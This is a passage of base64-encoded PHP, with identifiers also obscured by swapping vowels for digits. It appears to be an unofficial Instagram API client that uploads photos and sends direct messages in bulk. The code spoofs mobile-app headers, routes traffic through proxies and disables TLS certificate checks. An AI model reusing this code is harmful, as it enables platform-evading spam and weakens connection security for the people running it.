jFkSWQoKTsNCiAgICAgICAgICAgICRmNGw1VDJVcGwyMWQgPSBmNGw1X2c1dF9jMm50NW50cygkcGgydDIpOw0KDQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICIzcGwyMWRfNGQiICAgICAgICAgPT4gJDNwbDIxZF80ZCwNCiAgICAgICAgICAgICAgICAiXzMzNGQiICAgICAgICAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICJfY3NyZnQyazVuIiAgICAgICAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICI0bTFnNV9jMm1wcjVzczQybiIgPT4gJ3sibDRiX24xbTUiOiJqdCIsImw0Yl92NXJzNDJuIjoiNi5vLjAiLCJxMzFsNHR5IjoiODcifScNCiAgICAgICAgICAgIF07DQoNCiAgICAgICAgICAgICRyNXEzNXN0RjRsNXMgPSBbDQogICAgICAgICAgICAgICAgInBoMnQyIiA9PiBbDQogICAgICAgICAgICAgICAgICAgICJjMm50NW50cyIgPT4gJGY0bDVUMlVwbDIxZCwNCiAgICAgICAgICAgICAgICAgICAgImY0bDVuMW01IiA9PiAncDVuZDRuZ19tNWQ0MV8nIC4gVXQ0bHM6Omc1bjVyMXQ1VXBsMjFkSWQoKSAuICcuanBnJywNCiAgICAgICAgICAgICAgICAgICAgImg1MWQ1cnMiICA9PiBbDQogICAgICAgICAgICAgICAgICAgICAgICAnQzJudDVudC10eXA1OiAxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0MybnQ1bnQtVHIxbnNmNXItRW5jMmQ0bmc6IGI0bjFyeScNCiAgICAgICAgICAgICAgICAgICAgXQ0KICAgICAgICAgICAgICAgIF0NCiAgICAgICAgICAgIF07DQoNCiAgICAgICAgICAgICQ0bmQ1eCAgPSBVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoMXJyMXlfbTVyZzUoJHI1cTM1c3RQMnN0cywgJHI1cTM1c3RGNGw1cykpOw0KICAgICAgICAgICAgJHI1czNsdCA9ICcnOw0KICAgICAgICAgICAgZjJyNTFjaCgkNG5kNXggMXMgJGs1eSA9PiAkdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICctLScgLiAkYjIzbmQxcnkgLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgNGYoITRzczV0KCRyNXEzNXN0RjRsNXNbJGs1eV0pKSB7DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJ0MybnQ1bnQtRDRzcDJzNHQ0Mm46IGYycm0tZDF0MTsgbjFtNT0iJyAuICRrNXkgLiAnIic7DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gIlxyXG5cclxuIiAuICR2MWwzNSAuICJcclxuIjsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkZjRsNSA9ICRyNXEzNXN0RjRsNXNbJGs1eV07DQogICAgICAgICAgICAgICAgICAgIDRmKDRzczV0KCRmNGw1WydjMm50NW50cyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybnQ1bnRzID0gJGY0bDVbJ2MybnQ1bnRzJ107DQogICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkYzJudDVudHMgPSBmNGw1X2c1dF9jMm50NW50cygkZjRsNVsnZjRsNXAxdGgnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHI1czNsdCAuPSAnQzJudDVudC1ENHNwMnM0dDQybjogZjJybS1kMXQxOyBuMW01PSInIC4gJGs1eSAuICciOyBmNGw1bjFtNT0iJyAuICRmNGw1WydmNGw1bjFtNSddIC4gIlwiXHJcbiI7DQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJGY0bDVbJ2g1MWQ1cnMnXSAxcyAkaDUxZDVyTjFtNSA9PiAkaDUxZDVyVjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJGg1MWQ1ck4xbTUgLiAnOiAnIC4gJGg1MWQ1clYxbDM1IC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gIlxyXG4iIC4gJGMybnQ1bnRzIC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICAgICAzbnM1dCgkYzJudDVudHMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRyNXMzbHQgICAuPSAnLS0nIC4gJGIyM25kMXJ5IC4gJy0tJzsNCiAgICAgICAgICAgICRwMnN0RDF0MSA9ICRyNXMzbHQ7DQoNCiAgICAgICAgICAgICRoNTFkNXJzID0gWw0KICAgICAgICAgICAgICAgICdDMm5uNWN0NDJuOiBjbDJzNScsDQogICAgICAgICAgICAgICAgJ0FjYzVwdDogKi8qJywNCiAgICAgICAgICAgICAgICAnWC1JRy1DMXAxYjRsNHQ0NXM6ICcgLiBDMm5zdDFudHM6OlhfSUdfQzFwMWI0bDR0NDVzLA0KICAgICAgICAgICAgICAgICdYLUlHLUFwcC1JRDogJyAuIEMybnN0MW50czo6RkFDRUJPT0tfQU5BTFlUSUNTX0FQUExJQ0FUSU9OX0lELA0KICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tVHlwNTogJyAuIEMybnN0MW50czo6WF9JR19DMm5uNWN0NDJuX1R5cDUsDQogICAgICAgICAgICAgICAgJ1gtSUctQzJubjVjdDQybi1TcDU1ZDogJyAuIG10X3IxbmQoNjAwMCwgbzcwMCkgLiAna2JwcycsDQogICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVNwNTVkLUtCUFM6IC02LjAwMCcsDQogICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVQydDFsQnl0NXMtQjogMCcsDQogICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVQydDFsVDRtNS1NUzogMCcsDQogICAgICAgICAgICAgICAgJ1gtRkItSFRUUC1Fbmc0bjU6ICcgLiBDMm5zdDFudHM6OlhfRkJfSFRUUF9Fbmc0bjUsDQogICAgICAgICAgICAgICAgJ0FjYzVwdC1MMW5nMzFnNTogJyAuIEMybnN0MW50czo6QUNDRVBUX0xBTkdVQUdFDQogICAgICAgICAgICBdOw0KDQoNCiAgICAgICAgICAgICRjaCA9IGMzcmxfNG40dCgpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VSTCwgJDVuZHAyNG50KTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR0aDRzLT5kNXY0YzUtPmc1dFVzNXJBZzVudCgpKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIFRSVUUpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgVFJVRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVkVSQk9TRSwgRkFMU0UpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBGQUxTRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIEZBTFNFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9FTkNPRElORywgJycpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsICRoNTFkNXJzKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9DT09LSUUsICR0aDRzLT5zNXR0NG5ncy0+ZzV0KCJjMjJrNDUiKSk7DQogICAgICAgICAgICA0ZihXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID49IGEpIHsNCiAgICAgICAgICAgICAgICAkM3M1ckFzbnMgPSBVdDRsczo6ZzVuNXIxdDVBc25zKCR0aDRzLT5zNXR0NG5ncy0+ZzV0KElOU1RBV0VCX0FTTlNfS0VZKSk7DQogICAgICAgICAgICAgICAgNGYoJDNzNXJBc25zWzBdKSB7DQogICAgICAgICAgICAgICAgICAgICQycHQ0Mm5LNXkgPSBXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID09IHUgPyBDVVJMT1BUX0lOVEVSRkFDRSA6IENVUkxPUFRfUFJPWFk7DQogICAgICAgICAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgJDJwdDQybks1eSwgJDNzNXJBc25zWzBdKTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJDNzNXJBc25zWzZdKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuSzV5ID0gVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JUFJFU09MVkUgOiBDVVJMT1BUX1BST1hZVVNFUlBXRDsNCiAgICAgICAgICAgICAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgJDJwdDQybks1eSwgJDNzNXJBc25zWzZdKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1BPU1QsIFRSVUUpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwMnN0RDF0MSk7DQoNCiAgICAgICAgICAgICRyNXNwICAgICAgID0gYzNybF81eDVjKCRjaCk7DQogICAgICAgICAgICAkaDUxZDVyX2w1biA9IGMzcmxfZzV0NG5mMigkY2gsIENVUkxJTkZPX0hFQURFUl9TSVpFKTsNCiAgICAgICAgICAgICRoNTFkNXIgICAgID0gczNic3RyKCRyNXNwLCAwLCAkaDUxZDVyX2w1bik7DQogICAgICAgICAgICAkM3BsMjFkICAgICA9IGpzMm5fZDVjMmQ1KHMzYnN0cigkcjVzcCwgJGg1MWQ1cl9sNW4pLCBUUlVFKTsNCiAgICAgICAgICAgICR0aDRzLT4ycmcxbjR6NUMyMms0NXMoJGg1MWQ1cik7DQoNCiAgICAgICAgICAgIGMzcmxfY2wyczUoJGNoKTsNCg0KICAgICAgICAgICAgNGYoJDNwbDIxZFsnc3QxdDNzJ10gPT0gJ2YxNGwnKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybigkM3BsMjFkWydtNXNzMWc1J10pOw0KICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAgICRjMm5mNGczcjUgPSAkdGg0cy0+YzJuZjRnM3I1KCQzcGwyMWRbJzNwbDIxZF80ZCddLCAkcGgydDIsICRjMXB0NDJuKTsNCiAgICAgICAgICAgICR0aDRzLT41eHAyczUoKTsNCg0KICAgICAgICAgICAgcjV0M3JuICRjMm5mNGczcjU7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBkNHI1Y3RfbTVzczFnNSgkcjVjNHA0NW50cywgJHQ1eHQpIHsNCiAgICAgICAgICAgIDRmKDVtcHR5KCRyNWM0cDQ1bnRzKSB8fCA1bXB0eSgkdDV4dCkpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgRXhjNXB0NDJuKCdSNWM0cDQ1bnRzIDJyIHQ1eHQgYzFuIG4ydCBiNSA1bXB0eSEnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmKCE0c18xcnIxeSgkcjVjNHA0NW50cykpIHsNCiAgICAgICAgICAgICAgICAkcjVjNHA0NW50cyA9IFskcjVjNHA0NW50c107DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkc3RyNG5nID0gW107DQogICAgICAgICAgICBmMnI1MWNoKCRyNWM0cDQ1bnRzIDFzICRyNWM0cDQ1bnQpIHsNCiAgICAgICAgICAgICAgICAkc3RyNG5nW10gPSAiXCIkcjVjNHA0NW50XCIiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHI1YzRwNDVudF8zczVycyA9IDRtcGwyZDUoJywnLCAkc3RyNG5nKTsNCg0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAidDV4dCIgICAgICAgICAgICA9PiAkdDV4dCwNCiAgICAgICAgICAgICAgICAicjVjNHA0NW50XzNzNXJzIiA9PiAiW1siIC4gJHI1YzRwNDVudF8zczVycyAuICJdXSIsDQogICAgICAgICAgICAgICAgIjFjdDQybiIgICAgICAgICAgPT4gInM1bmRfNHQ1bSIsDQogICAgICAgICAgICAgICAgImNsNDVudF9jMm50NXh0IiAgPT4gUzRnbjF0M3I1czo6ZzVuNXIxdDVVVUlEKFRSVUUpLA0KICAgICAgICAgICAgICAgICJfY3NyZnQyazVuIiAgICAgID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAiXzM0ZCIgICAgICAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZA0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgnZDRyNWN0X3ZhL3RocjUxZHMvYnIyMWRjMXN0L3Q1eHQvJywgJHAyc3REMXQxKVs2XTsNCg0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZDRyNWN0X3BoMnQyKCRyNWM0cDQ1bnRzLCAkZjRsNXAxdGgsICR0NXh0KSB7DQogICAgICAgICAgICA0Zig1bXB0eSgkcjVjNHA0NW50cykgfHwgNW1wdHkoJGY0bDVwMXRoKSkgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBFeGM1cHQ0Mm4oJ1I1YzRwNDVudHMgMnIgZjRsNSBjMW4gbjJ0IGI1IDVtcHR5IScpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYoITRzXzFycjF5KCRyNWM0cDQ1bnRzKSkgew0KICAgICAgICAgICAgICAgICRyNWM0cDQ1bnRzID0gWyRyNWM0cDQ1bnRzXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRzdHI0bmcgPSBbXTsNCiAgICAgICAgICAgIGYycjUxY2goJHI1YzRwNDVudHMgMXMgJHI1YzRwNDVudCkgew0KICAgICAgICAgICAgICAgICRzdHI0bmdbXSA9ICJcIiRyNWM0cDQ1bnRcIiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkcjVjNHA0NW50XzNzNXJzID0gNG1wbDJkNSgnLCcsICRzdHI0bmcpOw0KDQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgInI1YzRwNDVudF8zczVycyIgPT4gIltbIiAuICRyNWM0cDQ1bnRfM3M1cnMgLiAiXV0iLA0KICAgICAgICAgICAgICAgICJ0NXh0IiAgICAgICAgICAgID0+IDVtcHR5KCR0NXh0KSA/ICcnIDogJHQ1eHQsDQogICAgICAgICAgICAgICAgIjFjdDQybiIgICAgICAgICAgPT4gInM1bmRfNHQ1bSIsDQogICAgICAgICAgICAgICAgImNsNDVudF9jMm50NXh0IiAgPT4gUzRnbjF0M3I1czo6ZzVuNXIxdDVVVUlEKFRSVUUpLA0KICAgICAgICAgICAgICAgICJfY3NyZnQyazVuIiAgICAgID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAiXzM0ZCIgICAgICAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZA0KICAgICAgICAgICAgXTsNCg0KICAgICAgICAgICAgJGY0bDVUMlVwbDIxZCA9IGY0bDVfZzV0X2MybnQ1bnRzKCRmNGw1cDF0aCk7DQoNCiAgICAgICAgICAgICRyNXEzNXN0RjRsNXMgPSBbDQogICAgICAgICAgICAgICAgInBoMnQyIiA9PiBbDQogICAgICAgICAgICAgICAgICAgICJjMm50NW50cyIgPT4gJGY0bDVUMlVwbDIxZCwNCiAgICAgICAgICAgICAgICAgICAgImY0bDVuMW01IiA9PiAncDVuZDRuZ19tNWQ0MV8nIC4gVXQ0bHM6Omc1bjVyMXQ1VXBsMjFkSWQoKSAuICcuanBnJywNCiAgICAgICAgICAgICAgICAgICAgImg1MWQ1cnMiICA9PiBbDQogICAgICAgICAgICAgICAgICAgICAgICAnQzJudDVudC10eXA1OiAxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0MybnQ1bnQtVHIxbnNmNXItRW5jMmQ0bmc6IGI0bjFyeScNCiAgICAgICAgICAgICAgICAgICAgXQ0KICAgICAgICAgICAgICAgIF0NCiAgICAgICAgICAgIF07DQoNCiAgICAgICAgICAgICRiMjNuZDFyeSA9IFV0NGxzOjpnNW41cjF0NU0zbHQ0cDFydEIyM25kMXJ5KCk7DQogICAgICAgICAgICAkNG5kNXggICAgPSBVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoMXJyMXlfbTVyZzUoJHI1cTM1c3RQMnN0cywgJHI1cTM1c3RGNGw1cykpOw0KICAgICAgICAgICAgJHI1czNsdCAgID0gJyc7DQogICAgICAgICAgICBmMnI1MWNoKCQ0bmQ1eCAxcyAkazV5ID0+ICR2MWwzNSkgew0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJy0tJyAuICRiMjNuZDFyeSAuICJcclxuIjsNCiAgICAgICAgICAgICAgICA0ZighNHNzNXQoJHI1cTM1c3RGNGw1c1skazV5XSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHI1czNsdCAuPSAnQzJudDVudC1ENHNwMnM0dDQybjogZjJybS1kMXQxOyBuMW01PSInIC4gJGs1eSAuICciJzsNCiAgICAgICAgICAgICAgICAgICAgJHI1czNsdCAuPSAiXHJcblxyXG4iIC4gJHYxbDM1IC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRmNGw1ID0gJHI1cTM1c3RGNGw1c1skazV5XTsNCiAgICAgICAgICAgICAgICAgICAgNGYoNHNzNXQoJGY0bDVbJ2MybnQ1bnRzJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkYzJudDVudHMgPSAkZjRsNVsnYzJudDVudHMnXTsNCiAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMm50NW50cyA9IGY0bDVfZzV0X2MybnQ1bnRzKCRmNGw1WydmNGw1cDF0aCddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICdDMm50NW50LUQ0c3AyczR0NDJuOiBmMnJtLWQxdDE7IG4xbTU9IicgLiAkazV5IC4gJyI7IGY0bDVuMW01PSInIC4gJGY0bDVbJ2Y0bDVuMW01J10gLiAiXCJcclxuIjsNCiAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkZjRsNVsnaDUxZDVycyddIDFzICRoNTFkNXJOMW01ID0+ICRoNTFkNXJWMWwzNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHI1czNsdCAuPSAkaDUxZDVyTjFtNSAuICc6ICcgLiAkaDUxZDVyVjFsMzUgLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHI1czNsdCAuPSAiXHJcbiIgLiAkYzJudDVudHMgLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgICAgIDNuczV0KCRjMm50NW50cyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAgICRwMnN0RDF0MSA9ICRyNXMzbHQ7DQogICAgICAgICAgICAkNW5kcDI0bnQgPSBDMm5zdDFudHM6OkFQSV9VUkwgLiAnZDRyNWN0X3ZhL3RocjUxZHMvYnIyMWRjMXN0LzNwbDIxZF9waDJ0Mi8nOw0KDQogICAgICAgICAgICAkaDUxZDVycyA9IFsNCiAgICAgICAgICAgICAgICAnQzJubjVjdDQybjogY2wyczUnLA0KICAgICAgICAgICAgICAgICdBY2M1cHQ6ICovKicsDQogICAgICAgICAgICAgICAgJ1gtSUctQzFwMWI0bDR0NDVzOiAnIC4gQzJuc3QxbnRzOjpYX0lHX0MxcDFiNGw0dDQ1cywNCiAgICAgICAgICAgICAgICAnWC1JRy1BcHAtSUQ6ICcgLiBDMm5zdDFudHM6OkZBQ0VCT09LX0FOQUxZVElDU19BUFBMSUNBVElPTl9JRCwNCiAgICAgICAgICAgICAgICAnWC1JRy1DMm5uNWN0NDJuLVR5cDU6ICcgLiBDMm5zdDFudHM6OlhfSUdfQzJubjVjdDQybl9UeXA1LA0KICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tU3A1NWQ6ICcgLiBtdF9yMW5kKDYwMDAsIG83MDApIC4gJ2ticHMnLA0KICAgICAgICAgICAgICAgICdYLUlHLUIxbmR3NGR0aC1TcDU1ZC1LQlBTOiAtNi4wMDAnLA0KICAgICAgICAgICAgICAgICdYLUlHLUIxbmR3NGR0aC1UMnQxbEJ5dDVzLUI6IDAnLA0KICAgICAgICAgICAgICAgICdYLUlHLUIxbmR3NGR0aC1UMnQxbFQ0bTUtTVM6IDAnLA0KICAgICAgICAgICAgICAgICdYLUZCLUhUVFAtRW5nNG41OiAnIC4gQzJuc3QxbnRzOjpYX0ZCX0hUVFBfRW5nNG41LA0KICAgICAgICAgICAgICAgICdBY2M1cHQtTDFuZzMxZzU6ICcgLiBDMm5zdDFudHM6OkFDQ0VQVF9MQU5HVUFHRQ0KICAgICAgICAgICAgXTsNCg0KICAgICAgICAgICAgJGNoID0gYzNybF80bjR0KCk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVJMLCAkNW5kcDI0bnQpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHRoNHMtPmQ1djRjNS0+ZzV0VXM1ckFnNW50KCkpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCBUUlVFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgVFJVRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfSEVBREVSLCBUUlVFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9WRVJCT1NFLCBGQUxTRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIEZBTFNFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgRkFMU0UpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0VOQ09ESU5HLCAnJyk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGg1MWQ1cnMpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0NPT0tJRSwgJHRoNHMtPnM1dHQ0bmdzLT5nNXQoImMyMms0NSIpKTsNCiAgICAgICAgICAgIDRmKFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPj0gYSkgew0KICAgICAgICAgICAgICAgICQzczVyQXNucyA9IFV0NGxzOjpnNW41cjF0NUFzbnMoJHRoNHMtPnM1dHQ0bmdzLT5nNXQoSU5TVEFXRUJfQVNOU19LRVkpKTsNCiAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbMF0pIHsNCiAgICAgICAgICAgICAgICAgICAgJDJwdDQybks1eSA9IFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPT0gdSA/IENVUkxPUFRfSU5URVJGQUNFIDogQ1VSTE9QVF9QUk9YWTsNCiAgICAgICAgICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCAkMnB0NDJuSzV5LCAkM3M1ckFzbnNbMF0pOw0KICAgICAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbNl0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICQycHQ0Mm5LNXkgPSBXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID09IHUgPyBDVVJMT1BUX0lQUkVTT0xWRSA6IENVUkxPUFRfUFJPWFlVU0VSUFdEOw0KICAgICAgICAgICAgICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCAkMnB0NDJuSzV5LCAkM3M1ckFzbnNbNl0pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfUE9TVCwgVFJVRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgJHAyc3REMXQxKTsNCg0KICAgICAgICAgICAgJHI1c3AgICAgICAgPSBjM3JsXzV4NWMoJGNoKTsNCiAgICAgICAgICAgICRoNTFkNXJfbDVuID0gYzNybF9nNXQ0bmYyKCRjaCwgQ1VSTElORk9fSEVBREVSX1NJWkUpOw0KICAgICAgICAgICAgJGg1MWQ1ciAgICAgPSBzM2JzdHIoJHI1c3AsIDAsICRoNTFkNXJfbDVuKTsNCiAgICAgICAgICAgICQzcGwyMWQgICAgID0ganMybl9kNWMyZDUoczNic3RyKCRyNXNwLCAkaDUxZDVyX2w1biksIFRSVUUpOw0KICAgICAgICAgICAgJHRoNHMtPjJyZzFuNHo1QzIyazQ1cygkaDUxZDVyKTsNCg0KICAgICAgICAgICAgYzNybF9jbDJzNSgkY2gpOw0KDQogICAgICAgICAgICByNXQzcm4gJDNwbDIxZDsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGQ0cjVjdF9zaDFyNSgkbTVkNDFfNGQsICRyNWM0cDQ1bnRzLCAkdDV4dCA9IE5VTEwpIHsNCiAgICAgICAgICAgIDRmKCE0c18xcnIxeSgkcjVjNHA0NW50cykpIHsNCiAgICAgICAgICAgICAgICAkcjVjNHA0NW50cyA9IFskcjVjNHA0NW50c107DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkc3RyNG5nID0gW107DQogICAgICAgICAgICBmMnI1MWNoKCRyNWM0cDQ1bnRzIDFzICRyNWM0cDQ1bnQpIHsNCiAgICAgICAgICAgICAgICAkc3RyNG5nW10gPSAiXCIkcjVjNHA0NW50XCIiOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcjVjNHA0NW50XzNzNXJzID0gNG1wbDJkNSgnLCcsICRzdHI0bmcpOw0KDQoNCiAgICAgICAgICAgICRyNXEzNXN0UDFyMW1zID0gWyJtNWQ0MV90eXA1IiA9PiAicGgydDIiXTsNCiAgICAgICAgICAgICRwMXIxbUQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMXIxbXMpKTsNCg0KDQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICJyNWM0cDQ1bnRfM3M1cnMiID0+ICJbWyIgLiAkcjVjNHA0NW50XzNzNXJzIC4gIl1dIiwNCiAgICAgICAgICAgICAgICAibTVkNDFfNGQiICAgICAgICA9PiAkbTVkNDFfNGQsDQogICAgICAgICAgICAgICAgInQ1eHQiICAgICAgICAgICAgPT4gNW1wdHkoJHQ1eHQpID8gJycgOiAkdDV4dCwNCiAgICAgICAgICAgICAgICAiMWN0NDJuIiAgICAgICAgICA9PiAiczVuZF80dDVtIiwNCiAgICAgICAgICAgICAgICAiY2w0NW50X2MybnQ1eHQiICA9PiBTNGduMXQzcjVzOjpnNW41cjF0NVVVSUQoVFJVRSksDQogICAgICAgICAgICAgICAgIl9jc3JmdDJrNW4iICAgICAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICJfMzRkIiAgICAgICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCdkNHI1Y3RfdmEvdGhyNTFkcy9icjIxZGMxc3QvbTVkNDFfc2gxcjUvPycgLiAkcDFyMW1EMXQxLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCiAgICAgICAg